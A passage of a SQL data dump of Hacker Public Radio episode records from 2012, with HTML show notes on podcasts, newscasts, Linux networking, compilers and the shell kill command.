href=\"https://sites.google.com/site/piotrpo/\">Developer Site</a>:  https://sites.google.com/site/piotrpo/<br />\r\n<a href=\"https://sites.google.com/site/piotrpo/home/faq\">Move! Bike Computer FAQ</a>:  https://sites.google.com/site/piotrpo/home/faq<br />\r\n<a href=\"https://sites.google.com/site/piotrpo/home/user-manual\">Move! Bike Computer User Manual</a>:  https://sites.google.com/site/piotrpo/home/user-manual<br />\r\n<a href=\"https://www.pineviewfarm.net/weblog/wp-content/uploads/2011/10/fuji_sport_10-300x205.jpg\">Franks Fuji Sports 10</a>:  https://www.pineviewfarm.net/weblog/wp-content/uploads/2011/10/fuji_sport_10-300x205.jpg<br />\r\n<a href=\"https://718c.blogspot.com/2010/03/197x-fuji-sports-10.html\">https://718c.blogspot.com/2010/03/197x-fuji-sports-10.html</a>',195,0,1,'CC-BY-SA','Android,GPS ',0,2349,1),
(1124,'2012-11-22','PodBrewers: Episode 35',4716,'Episode 35 from the PodBrewers podcast','<h2>Show 35</h2>\r\n<p>By <a href=\"https://podbrewers.net/?author=4\">Spork</a> released on July 4th, 2012 at 2:03 am<br />\r\n<a href=\"https://podbrewers.net/?p=535\">https://podbrewers.net</a></p>\r\n<h2><a href=\"https://morebeer.com/content/homebrew-off-flavors\">Homebrew Off Flavors</a></h2>\r\n<!--<p>&nbsp;</p>-->\r\n<p dir=\"ltr\"><strong>Beer of the Week</strong></p>\r\n<p>Buyer: <a href=\"https://beeradvocate.com/beer/profile/220/1372\">Lagunitas Maximus</a></p>\r\n<p>Spork: <a href=\"https://www.gordonbiersch.com/brewery/marzen.html\" target=\"_blank\">Gordon Biersch Märzen</a></p>\r\n<!--<p>&nbsp;</p>-->\r\n<p><strong>Food and Brew</strong></p>\r\n<p>Buyer: <a href=\"https://www.foodandwine.com/recipes/guinness-glazed-halibut\" target=\"_blank\">Guinness-Glazed Halibut</a></p>\r\n<p>Spork: <a href=\"https://www.gordonbiersch.com/brewery/recipes_marzen.html\" target=\"_blank\">Märzen BBQ Ribs</a></p>\r\n<!--<p>&nbsp;</p>-->\r\n<p><strong>Beer Vocabulary:</strong> mash out</p>\r\n<!--<p>&nbsp;</p>-->\r\n<p><strong>Beer News</strong></p>\r\n<p>Fiftyonefifty: <a href=\"https://www.northernbrewer.com/shop/brewing/recipe-kits/pro-series/tallgrass-brewing-company\" target=\"_blank\">Northern Brewer Contest!!</a> </p>\r\n',158,54,1,'CC-BY-SA','brewing,beer ',0,2359,1),
(2005,'2016-04-08','How I prepare and record my HPR Kdenlive voiceover shows.',977,'My preparation and recording workflow.','<p>\r\nHi HPR listeners this is an episode on how I prepare and record the voice over narrations of the Kdenlive article series of which I’ve produced two so far. I run through how I prepare the text for spoken delivery, how I record the article and the hardware gear and software I use. Below are some shots of my recording gear mentioned in the show.\r\n</p>\r\n\r\n\r\n<h3>AT2020</h3>\r\n<a href=\"https://www.hackerpublicradio.org/eps/hpr2005/AT2020-cropped.jpg\"><img src=\"https://www.hackerpublicradio.org/eps/hpr2005/AT2020-cropped_small.jpg\" alt=\"AT2020\" /></a>\r\n\r\n<h3>Lexicon</h3>\r\n<a href=\"https://www.hackerpublicradio.org/eps/hpr2005/Lexicon-cropped.jpg\"><img src=\"https://www.hackerpublicradio.org/eps/hpr2005/Lexicon-cropped_small.jpg\" alt=\"Lexicon\" /></a>\r\n\r\n<h3>SM58</h3>\r\n<a href=\"https://www.hackerpublicradio.org/eps/hpr2005/SM58-cropped.jpg\"><img src=\"https://www.hackerpublicradio.org/eps/hpr2005/SM58-cropped_small.jpg\" alt=\"SM58\" /></a>\r\n\r\n<h3>Soundcraft</h3>\r\n<a href=\"https://www.hackerpublicradio.org/eps/hpr2005/Soundcraft-cropped.jpg\"><img src=\"https://www.hackerpublicradio.org/eps/hpr2005/Soundcraft-cropped_small.jpg\" alt=\"Soundcraft\" /></a>\r\n\r\n<h3>SRH440</h3>\r\n<a href=\"https://www.hackerpublicradio.org/eps/hpr2005/SRH440-cropped.jpg\"><img src=\"https://www.hackerpublicradio.org/eps/hpr2005/SRH440-cropped_small.jpg\" alt=\"SRH440\" /></a>\r\n',310,0,0,'CC-BY-SA','microphone,mixer,headphone',0,0,1),
(1125,'2012-11-23','TGTM Newscast for 11/21/2012',1292,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a href=\"https://venezuelanalysis.com/news/7493\">Venezuela’s Chavez Condemns \"Savage\" Assault on Gaza Strip </a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/11/14/headlines#11149\">Torture Victims File Complaint over Canada’s Failure to Indict Bush </a></li>\r\n<li><a href=\"https://icelandreview.com/icelandreview/daily_news/?ew_0_a_id=395401\">Icelandic Genetic Research Company Find Alzheimer’s Gene Variant</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/14197/ending_the_drug_war_the_next_serious_step_through_the_haze_of_comedy/\">Ending the Drug War: No Laughing Matter</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121115/15463021068/school-administrator-brushes-off-constitutional-niceties-like-fifth-amendment-rights-students.shtml\">School Administrator Brushes Off \'Constitutional Niceties\' Like Fifth Amendment Rights For Students</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/11/court-blocks-proposition-35s-restriction-anonymous-speech\">Court Blocks Proposition 35\'s Restriction on Anonymous Speech</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/11/when-will-our-email-betray-us-email-privacy-primer-light-petraeus-saga\">When Will our Email Betray Us? An Email Privacy Primer in Light of the Petraeus Saga</a></li>\r\n<li><a href=\"https://torrentfreak.com/megaupload-search-warrants-ignored-massive-non-infringing-use-121118/\">Megaupload Search Warrant Requests Ignored Massive Non-Infringing Use</a></li>\r\n<li><a href=\"https://torrentfreak.com/verizon-will-reduce-speeds-of-repeated-bittorrent-pirates-121115/\">Verizon Will Reduce Speeds of Repeated BitTorrent Pirates</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121116/10575921075/taliban-spokesman-accidentally-copies-mailing-list-press-release-email.shtml\">Taliban Spokesman Accidentally Copies Mailing List On Press Release Email</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/11/18/lindsey-graham-to-romney-gop-is-in-a-death-spiral-so-stop-digging/\">Lindsey Graham to Romney: GOP is in a ‘death spiral’ so ‘stop digging’</a></li> \r\n<li><a href=\"https://www.rhrealitycheck.org/article/2012/11/16/i-know-this-much-is-true-abortion-is-medical-intervention-some-women-need\">I Know This Much Is True: Abortion Is A Medical Intervention to Which Women Need Access</a></li>\r\n<li><a href=\"https://rt.com/usa/news/wikileaks-appelbaum-investigation-manning-277/\">WikiLeaks remains the target of secret federal investigation two years later </a></li> \r\n<li><a href=\"https://peoplesworld.org/latinos-integral-to-the-winning-electoral-coalition/\">Latinos: integral to the winning electoral coalition</a></li> \r\n<li><a href=\"https://sacsis.org.za/site/article/1485\">Noam Chomsky: The Soul-Crushing Cruelties Perpetrated by America\'s Number One Ally</a></li>\r\n</ul>\r\n<p>News from \"techdirt.com,\" \"inthesetimes.com,\" and  \"icelandreview.com\" used under arranged permission.</p>\r\n<p>News from \"torrentfreak.com,\" and \"eff.org\" used under permission of the Creative Commons by-attribution&nbsp;license.</p>\r\n<p>News from \"venezuelanalysis.com,\" and \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.<br />\r\n</p> \r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<p>\r\n<a href=\"https://venezuelanalysis.com/news/7493\">https://venezuelanalysis.com/news/7493</a><br />\r\n<a href=\"https://www.democracynow.org/2012/11/14/headlines#11149\">https://www.democracynow.org/2012/11/14/headlines#11149</a><br />\r\n<a href=\"https://icelandreview.com/icelandreview/daily_news/?ew_0_a_id=395401\">https://icelandreview.com/icelandreview/daily_news/?ew_0_a_id=395401</a><br />\r\n<a href=\"https://inthesetimes.com/article/14197/ending_the_drug_war_the_next_serious_step_through_the_haze_of_comedy/\">https://inthesetimes.com/article/14197/ending_the_drug_war_the_next_serious_step_through_the_haze_of_comedy/</a><br />\r\n<a href=\"https://www.techdirt.com/articles/20121115/15463021068/school-administrator-brushes-off-constitutional-niceties-like-fifth-amendment-rights-students.shtml\">https://www.techdirt.com/articles/20121115/15463021068/school-administrator-brushes-off-constitutional-niceties-like-fifth-amendment-rights-students.shtml</a><br />\r\n<a href=\"https://www.eff.org/deeplinks/2012/11/court-blocks-proposition-35s-restriction-anonymous-speech\">https://www.eff.org/deeplinks/2012/11/court-blocks-proposition-35s-restriction-anonymous-speech</a><br />\r\n<a href=\"https://www.eff.org/deeplinks/2012/11/when-will-our-email-betray-us-email-privacy-primer-light-petraeus-saga\">https://www.eff.org/deeplinks/2012/11/when-will-our-email-betray-us-email-privacy-primer-light-petraeus-saga</a><br />\r\n<a href=\"https://torrentfreak.com/megaupload-search-warrants-ignored-massive-non-infringing-use-121118/\">https://torrentfreak.com/megaupload-search-warrants-ignored-massive-non-infringing-use-121118/</a><br />\r\n<a href=\"https://torrentfreak.com/verizon-will-reduce-speeds-of-repeated-bittorrent-pirates-121115/\">https://torrentfreak.com/verizon-will-reduce-speeds-of-repeated-bittorrent-pirates-121115/</a><br />\r\n<a href=\"https://www.techdirt.com/articles/20121116/10575921075/taliban-spokesman-accidentally-copies-mailing-list-press-release-email.shtml\">https://www.techdirt.com/articles/20121116/10575921075/taliban-spokesman-accidentally-copies-mailing-list-press-release-email.shtml</a><br />\r\n<a href=\"https://www.rawstory.com/rs/2012/11/18/lindsey-graham-to-romney-gop-is-in-a-death-spiral-so-stop-digging/\">https://www.rawstory.com/rs/2012/11/18/lindsey-graham-to-romney-gop-is-in-a-death-spiral-so-stop-digging/</a><br />\r\n<a href=\"https://www.rhrealitycheck.org/article/2012/11/16/i-know-this-much-is-true-abortion-is-medical-intervention-some-women-need\">https://www.rhrealitycheck.org/article/2012/11/16/i-know-this-much-is-true-abortion-is-medical-intervention-some-women-need</a><br />\r\n<a href=\"https://rt.com/usa/news/wikileaks-appelbaum-investigation-manning-277/\">https://rt.com/usa/news/wikileaks-appelbaum-investigation-manning-277/</a><br />\r\n<a href=\"https://peoplesworld.org/latinos-integral-to-the-winning-electoral-coalition/\">https://peoplesworld.org/latinos-integral-to-the-winning-electoral-coalition/</a><br />\r\n<a href=\"https://sacsis.org.za/site/article/1485\">https://sacsis.org.za/site/article/1485</a><br />\r\n</p>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM ',0,2220,1),
(1126,'2012-11-26','The DrupalCamp of Adam Evertsson',963,'Reports and interviews from DrupalCamp Göteborg','<h2>DrupalCamp Göteborg</h2>\r\n\r\n<p>Do you know web design? Do you know the CMS/CMF Drupal? Do you know how to organize a small conference? No? Today we talk with Adam Evertsson, who organized DrupalCamp Göteborg to spread the word of Drupal in the Gothenburg area. He is the man with all the answers.</p>\r\n\r\n<h3>References</h3>\r\n\r\n<ul>\r\n  <li><a href=\"https://spring2012.drupalcamp.se/\">DrupalCamp Göteborg</a></li>\r\n  <li>Twitter: <a href=\"https://twitter.com/adamevertsson\">@adamevertsson</a></li>\r\n  <li>Drupal.org: <a href=\"https://groups.drupal.org/user/218869\">Adam Evertsson</a></li>\r\n  <li><a href=\"https://drupal.org/\">Drupal</a></li>\r\n  <li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Dries_Buytaert\">Dries Buytaert</a></li>\r\n  <li><a href=\"https://groups.drupal.org/search/apachesolr_search/go%3Attogether\">Drupal.org - Go:ttogether</a></li>\r\n  <li><a href=\"https://www.kodamera.se/\">Kodamera</a></li>\r\n</ul>\r\n\r\n<p>There will be a few more interviews from DrupalCamp Göteborg, but if you want to hear me and my co-host on All In IT Radio talk more indepth about our experience there, you are more then welcome to turn to our episode 0014 \"<a href=\"https://aiit.se/radio/episodes/e0014-its_all_about_the_pitch/\">It\'s all about the pitch</a>\".</p>\r\n\r\n<h3>How to reach me</h3>\r\n\r\n<p>You should follow me and subscribe to All In IT Radio: </p>\r\n\r\n<ul>\r\n  <li>Identi.ca: <a href=\"https://identi.ca/alltinomit\">@alltinomit</a></li>\r\n  <li>Twitter: <a href=\"https://twitter.com/alltinomit\">@alltinomit</a></li>\r\n  <li><a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></li>\r\n  <li><a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a></li>\r\n</ul>\r\n\r\n\r\n<h2>Links</h2><ul>\r\n<li><a href=\"https://spring2012.drupalcamp.se/\">https://spring2012.drupalcamp.se/</a></li>\r\n<li><a href=\"https://twitter.com/adamevertsson\">https://twitter.com/adamevertsson</a></li>\r\n<li><a href=\"https://groups.drupal.org/user/218869\">https://groups.drupal.org/user/218869</a></li>\r\n<li><a href=\"https://drupal.org/\">https://drupal.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Dries_Buytaert\">https://en.wikipedia.org/wiki/Dries_Buytaert</a></li>\r\n<li><a href=\"https://groups.drupal.org/search/apachesolr_search/go%3Attogether\">https://groups.drupal.org/search/apachesolr_search/go%3Attogether</a></li>\r\n<li><a href=\"https://www.kodamera.se/\">https://www.kodamera.se/</a></li>\r\n<li><a href=\"https://identi.ca/alltinomit\">https://identi.ca/alltinomit</a></li>\r\n<li><a href=\"https://twitter.com/alltinomit\">https://twitter.com/alltinomit</a></li>\r\n<li><a href=\"https://plus.google.com/100309783606985145580/\">https://plus.google.com/100309783606985145580/</a></li>\r\n<li><a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a></li>\r\n</ul>\r\n',192,0,1,'CC-BY-SA','Drupal,DrupalCamp ',0,2241,1),
(1127,'2012-11-27','AFP file share on a Linux server',1776,'How to set up a netatalk/Apple Filing Protocol file share on Linux','<p>Klaatu continues his Networking Basics series with a howto set up a\r\nnetatalk/AFP file share on a Linux server for native-like file\r\nsharing for Mac clients. \r\n</p>\r\n<p>\r\n<strong>Apple Filing Protocol</strong><br />\r\n<em>From Wikipedia, the free encyclopedia</em><br />\r\n<br />\r\nThis article includes a list of references, but its sources remain unclear because it has insufficient inline citations. Please help to improve this article by introducing more precise citations. (March 2008)\r\nThe Apple Filing Protocol (AFP), formerly AppleTalk Filing Protocol, is a proprietary network protocol that offers file services for Mac OS X and original Mac OS. In Mac OS X, AFP is one of several file services supported including Server Message Block (SMB), Network File System (NFS), File Transfer Protocol (FTP), and WebDAV. AFP currently supports Unicode file names, POSIX and access control list permissions, resource forks, named extended attributes, and advanced file locking. In Mac OS 9 and earlier, AFP was the primary protocol for file services.<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Apple_Filing_Protocol\">https://en.wikipedia.org/wiki/Apple_Filing_Protocol</a>\r\n</p>',78,61,0,'CC-BY-SA','networking,AFP,Apple Filing Protocol,Netatalk ',0,2297,1),
(1128,'2012-11-28','Compilers part4',915,'Lexical analysis and parsing','<p>\r\nIn this episode sigflup describes the construction of a calculator using\r\nlexical analysis and parsing.\r\n</p>\r\n<p>\r\n<br /><img src=\"https://hackerpublicradio.org/eps/hpr1128_figa.jpg\" /><br />\r\nFigure A: <a href=\"https://hackerpublicradio.org/eps/hpr1128_figa.jpg\">https://devio.us/~sigflup/compiler/figa.jpg</a>\r\n<br /><img src=\"https://hackerpublicradio.org/eps/hpr1128_figb.jpg\" /><br />\r\nFigure B: <a href=\"https://hackerpublicradio.org/eps/hpr1128_figb.jpg\">https://devio.us/~sigflup/compiler/figb.jpg</a>\r\n<br /><img src=\"https://hackerpublicradio.org/eps/hpr1128_figc.jpg\" /><br />\r\nFigure C: <a href=\"https://hackerpublicradio.org/eps/hpr1128_figc.jpg\">https://devio.us/~sigflup/compiler/figc.jpg</a>\r\n<br /><img src=\"https://hackerpublicradio.org/eps/hpr1128_figd.jpg\" /><br />\r\nFigure D: <a href=\"https://hackerpublicradio.org/eps/hpr1128_figd.jpg\">https://devio.us/~sigflup/compiler/figd.jpg</a>\r\n<br /><img src=\"https://hackerpublicradio.org/eps/hpr1128_fige.jpg\" /><br />\r\nFigure E: <a href=\"https://hackerpublicradio.org/eps/hpr1128_fige.jpg\">https://devio.us/~sigflup/compiler/fige.jpg</a>\r\n<br /><img src=\"https://hackerpublicradio.org/eps/hpr1128_figf.jpg\" /><br />\r\nFigure F: <a href=\"https://hackerpublicradio.org/eps/hpr1128_figf.jpg\">https://devio.us/~sigflup/compiler/figf.jpg</a>\r\n<br /><img src=\"https://hackerpublicradio.org/eps/hpr1128_figg.jpg\" /><br />\r\nFigure G: <a href=\"https://hackerpublicradio.org/eps/hpr1128_figg.jpg\">https://devio.us/~sigflup/compiler/figg.jpg</a>\r\n</p>\r\n<p>[Editor\'s Note 2015-05-22: The original links above are all dead, but the\r\nimages have been rescued from the <em>Wayback Machine</em> and stored on the\r\nHPR server]</p>\r\n',115,84,1,'CC-BY-SA','compiler,lexical analysis,parsing ',0,2220,1),
(1129,'2012-11-29','How I got into Linux',587,'Another contributor describes their Linux journey','After making the basic mistake of hanging around where Ken can record you, aparanoidshell graciously shares with us his journey to Linux.',217,29,1,'CC-BY-SA','Windows XP,Ubuntu,Unity,Debian,Gnome,CrunchBang ',0,2371,1),
(1130,'2012-11-30','TGTM Newscast for 11/28/2012',1356,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://www.rhrealitycheck.org/article/2012/11/21/it%E2%80%99s-time-to-hold-governments-accountable-women%E2%80%99s-lives-matter\">Women\'s\r\nLives Matter: It’s Time to Hold Governments Accountable for Safe\r\nAbortion Care</a></li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/controversies/typical-american-infant-exposed-to-5-hours-of-background-tv-a-day-121123?news=846281\">Typical\r\nAmerican Infant Exposed to 5½ Hours of Background TV a Day</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1499\">The\r\nDehumanisation of the Palestinians</a></li>\r\n<li><a\r\nhref=\"https://www.rawstory.com/rs/2012/11/23/catholic-charity-shuns-walmarts-blood-money/\">Catholic\r\ncharity shuns Walmart’s ‘blood money’</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2771\">European Parliament\r\nvotes to protect WikiLeaks</a></li>\r\n<li><a\r\nhref=\"https://www.rawstory.com/rs/2012/11/23/scientists-create-cartilage-using-3-d-tissue-printer/\">Scientists\r\ncreate cartilage using 3-D ’tissue printer’</a></li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/anonymous-file-sharing-ruled-illegal-by-german-court-121123/\">“Anonymous”\r\nFile-Sharing Darknet Ruled Illegal by German Court</a></li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20121121/13081421115/google-asks-people-to-speak-out-against-itus-attempt-to-takeover-internet-governance.shtml\">Google\r\nAsks People To Speak Out Against ITU\'s Attempt To Takeover Internet\r\nGovernance</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/11/21/headlines#112114\">Judge\r\nDenies Bail Request from Accused Stratfor Hacker Jeremy Hammond </a></li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2012/11/homeland-security-wants-more-double-its-predator-drone-fleet-inside-us-despite\">Homeland\r\nSecurity Wants to More Than Double Its Predator Drone Fleet Inside the\r\nUS, Despite Safety and Privacy Concerns</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://www.rawstory.com/rs/2012/11/23/black-friday-liveblog-walmart-protests-hit-stores-in-at-least-nine-states/\">Black\r\nFriday Liveblog: Walmart protests hit stores in at least nine states</a></li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2012/11/reform-require-warrant-private-online-messages-vote-down-privacy\">Reform\r\nto Require Warrant for Private Online Messages Up for Vote, but Down on\r\nPrivacy</a></li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20121121/09030521112/expose-blatant-security-hole-att-face-five-years-jail.shtml\">Expose\r\nBlatant Security Hole From AT&amp;T... Face Five Years In Jail</a></li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20121121/11415521113/40-years-ago-supreme-court-effectively-banned-software-patents-remember-that.shtml\">40\r\nYears Ago The Supreme Court Effectively Banned Software Patents;\r\nRemember That?</a></li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/police-raid-9-year-old-pirate-bay-girl-confiscate-winnie-the-pooh-laptop-121122/\">Police\r\nRaid 9-Year-Old Pirate Bay Girl, Confiscate Winnie The Pooh Laptop</a></li>\r\n</ul>\r\n<p>Production and Editorial Selection by DeepGeek, views of the story\r\nauthors reflect their own opinions and not neccesarily those of TGTM\r\nnews.\r\n</p>\r\n<p>News from \"techdirt.com,\" \"rawstory.com,\" and\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com,\" \"sacsis.org.za,\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"wlcentral.org\" and \"democracynow.org\" used under\r\npermission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.</p>\r\n<p>News from \"rhrealitycheck.org\" used under permission of the Creative\r\nCommons By-attribution Share-alike license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>',237,65,1,'CC-BY-SA','newscast,TGTM',0,2415,1),
(1131,'2012-12-03','HPR Community News November 2012',5334,'HPR Community News November 2012','<h2>Featuring</h2>\r\n<p>\r\nbobobex<br />\r\ncorenominal<br />\r\ndudeman<br />\r\nFiftyOneFifty<br />\r\nKwisher<br />\r\nnido<br />\r\nnotKlaatu<br />\r\npokey<br />\r\nKen Fallon<br />\r\n</p>\r\n\r\n<h2>New hosts</h2>\r\n<p>No new hosts.\r\n</p>\r\n\r\n<h2>Apologies and Thanks</h2>\r\n<p>\r\nApologies to Seetee for putting his shows in the Thursday queue rather than the main queue.<br />\r\nThanks to everyone who sent in shows, to the devl team\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n\r\n<table id=\"table_results\" class=\"data ajax\">\r\n<thead><tr>\r\n<th>id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n<tbody>\r\n\r\n<tr><td>1112</td>\r\n<td>LiTS 017: split</td>\r\n<td>Dann</td>\r\n</tr>\r\n            \r\n<tr><td>1113</td>\r\n<td>TermDuckEn aptsh&lt;screen&lt;guake</td>\r\n<td>FiftyOneFifty</td>\r\n</tr>\r\n            \r\n<tr><td>1114</td>\r\n<td>DudmanoviPodcast Episode 7 - A geeks Journey to nature</td>\r\n<td>Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr><td>1115</td>\r\n<td>TGTM Newscast for 11/07/2012</td>\r\n<td>deepgeek</td>\r\n</tr>\r\n            \r\n<tr><td>1116</td>\r\n<td>Interview with Richard Stallman</td>\r\n<td>pokey</td>\r\n</tr>\r\n            \r\n<tr><td>1117</td>\r\n<td>The Wayback Machine-SDF.org</td>\r\n<td>Various Hosts</td>\r\n</tr>\r\n            \r\n<tr><td>1118</td>\r\n<td>My First Brush With FLOSS: Doom </td>\r\n<td>AukonDK</td>\r\n</tr>\r\n            \r\n<tr><td>1119</td>\r\n<td>Spread the Word</td>\r\n<td>Seetee</td>\r\n</tr>\r\n            \r\n<tr><td>1120</td>\r\n<td>Jerome Leclanche from the razor-qt project</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr><td>1121</td>\r\n<td>Klaatu continues his Networking Basics series with a SAMBA howto.</td>\r\n<td>klaatu</td>\r\n</tr>\r\n            \r\n<tr><td>1122</td>\r\n<td>LiTS 018: ln</td>\r\n<td>Dann</td>\r\n</tr>\r\n            \r\n<tr><td>1123</td>\r\n<td>Move! Bike Computer</td>\r\n<td>Frank Bell</td>\r\n</tr>\r\n            \r\n<tr><td>1124</td>\r\n<td>PodBrewers: Episode 35</td>\r\n<td>Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr><td>1125</td>\r\n<td>TGTM Newscast for 11/21/2012</td>\r\n<td>deepgeek</td>\r\n</tr>\r\n            \r\n<tr><td>1126</td>\r\n<td>The DrupalCamp of Adam Evertsson</td>\r\n<td>Seetee</td>\r\n</tr>\r\n            \r\n<tr><td>1127</td>\r\n<td>AFP file share on a Linux server</td>\r\n<td>klaatu</td>\r\n</tr>\r\n            \r\n<tr><td>1128</td>\r\n<td>Compilers part4</td>\r\n<td>sigflup</td>\r\n</tr>\r\n            \r\n<tr><td>1129</td>\r\n<td>How I got into Linux</td>\r\n<td>aparanoidshell</td>\r\n</tr>\r\n            \r\n<tr><td>1130</td>\r\n<td>TGTM Newscast for 11/28/2012</td>\r\n<td>deepgeek</td>\r\n</tr>\r\n\r\n            \r\n</tbody>\r\n</table>\r\n\r\n<h1>New Year Show !</h1>\r\n<p>\r\n Join the HPR annual 24 hour OggCast marathon. <br />\r\nJoin the live session in the HPR room on <strong>mumble.openspeak.cc</strong> Port: <strong>64747 </strong>.<br />\r\nStarting at <strong>Mon, Dec 31 2012 at 12:00 UTC</strong> and running until <strong>12:00 on Tue, Jan 1 2013.</strong> <br />\r\nTo help out with the planning, donating kit etc please join the <a href=\"https://hackerpublicradio.org/mailman/listinfo/hpr_hackerpublicradio.org\">mail list</a>.<br />\r\nThis event is open to all so please pass on the word to other podcasters<br/>\r\nMore information will be added as we get it. \r\n</p>\r\n<hr />\r\n',159,47,1,'CC-BY-SA','Community News',0,2193,1),
(1132,'2012-12-04','LiTS 019: Kill the worms!',1283,'Send a signal to a process with the <em>kill</em> command','<p>\r\nThe kill command is used in the shell to terminate a process. Kill works by sending a signal to the process and typically this signal is either the SIGTERM or SIGKILL signal, but there are others that can be used. To properly use the kill command you need to know the Process ID, or PID, of the process you want to kill. Also be aware that some processes can spawn child processes of the same or similar name. For instance, if you have are running the Chromium browser you may find multiple instances of the chromium process running. Killing one of these processes may not terminate all the processes because typically all but the first process are children processes. Killing any or all of the children processes will not terminate the mother process. But terminated the mother process will typically kill the children processes.\r\n<br /> \r\nFor more see:<br />\r\n<a href=\"https://www.linuxintheshell.com/2012/12/04/episode-019-kill-the-worms/\">https://www.linuxintheshell.com/2012/12/04/episode-019-kill-the-worms/</a>\r\n</p>\r\n\r\n\r\n',7,67,1,'CC-BY-SA','kill,process',0,2731,1),
(1133,'2012-12-05','How I got in to Linux',1033,'Another contributor describes their Linux journey','<h3>Dick Thomas (xpd259)</h3>\r\n<h4>How I got in to Linux</h4>\r\n\r\n<p>Dear listeners, Today I will be briefly explaining my adventure in to tech\r\nand Linux, Starting with getting my first computer a ZX Spectrum to the\r\ncurrent day behemoth and Debian obsession and making youtube videos for fun\r\nand to spead word of FOSS and all things Linux/BSD</p>\r\n<p>Links and other things mentioned in this podcast</p>\r\n<ul>\r\n<li><a href=\"https://www.xpd259.co.uk\">My blog</a></li>\r\n<li><a href=\"https://www.youtube.com/xpd259\">Youtube Dicks Installs Videos</a></li>\r\n<li><a href=\"https://debian-handbook.info\">Debian HandBook</a></li>\r\n<li><a href=\"https://www.gentoo.org\">Gentoo Gnu/Linux</a></li>\r\n<li><a href=\"https://www.debian.org\">Debian Gnu/Linux</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Corel_Linux\">Corel Linux Wikipedia Page</a></li>\r\n<li><a href=\"https://www.ubuntu.com\">Ubuntu Gnu/Linux</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/ZX_Spectrum\">ZX Spectrum Wikipedia Page</a></li>\r\n\r\n</ul>\r\n',227,29,1,'CC-BY-SA','ZX Spectrum,Corel Linux,Debian,Gentoo,Ubuntu ',0,2475,1),
(1134,'2012-12-06','Scannerdrome Ep. 1 - Lola Lariscy',3717,'An interview with Science Fiction Writer Lola Lariscy','<p>                                                                                                                                                                          \r\na Buyer Brown joint Interview with blogger and Science Fiction Writer Lola Lariscy Author of \"End of Life Projections\" and producer of \"Space Janitors\"<br/>\r\n<br/>                                                                                                                                                                                                \r\n<img style=\"width: 96px; height: 96px;\" alt=\"Scannerdrome logo\" src=\"https://lh3.googleusercontent.com/-ThspemD_Gnc/AAAAAAAAAAI/AAAAAAAAABU/DKypmsAHjx8/s250-c-k/photo.jpg\" align=\"top\"/>&nbsp;&nbsp;&nbsp; Scannerdrome <a href=\"https://plus.google.com/106038292741469535152/posts\">https://plus.google.com/106038292741469535152/posts</a><br/>                                                                                                                         \r\n<br/>                                                                                                                                                                                                \r\n<img style=\"width: 100px; height: 150px;\" alt=\"Cerulean Lobster logo\" src=\"https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?url=https://3.bp.blogspot.com/_vFGCjG2rjTg/TN8V0Y4Uu2I/AAAAAAAAADY/HKDezfL0PaY/S350/Ceruleanlobster%252Bfrom%252BBob.jpg&amp;container=focus&amp;gadget=a&amp;rewriteMime=image/*&amp;refresh=31536000&amp;resize_h=150&amp;resize_w=150&amp;no_expand=1\" align=\"top\"/>&nbsp;&nbsp;&nbsp;                                                                                                                                                                     \r\nLola Lariscy &nbsp;&nbsp;&nbsp; <a href=\"https://www.lolalariscy.com/\">https://www.lolalariscy.com/</a>\r\n&nbsp;&nbsp;&nbsp; <a href=\"https://ceruleanlobster.blogspot.com\">https://ceruleanlobster.blogspot.com</a><br/>\r\n</p>\r\n',109,54,1,'CC-BY-SA','Science Fiction,interview ',0,2111,1),
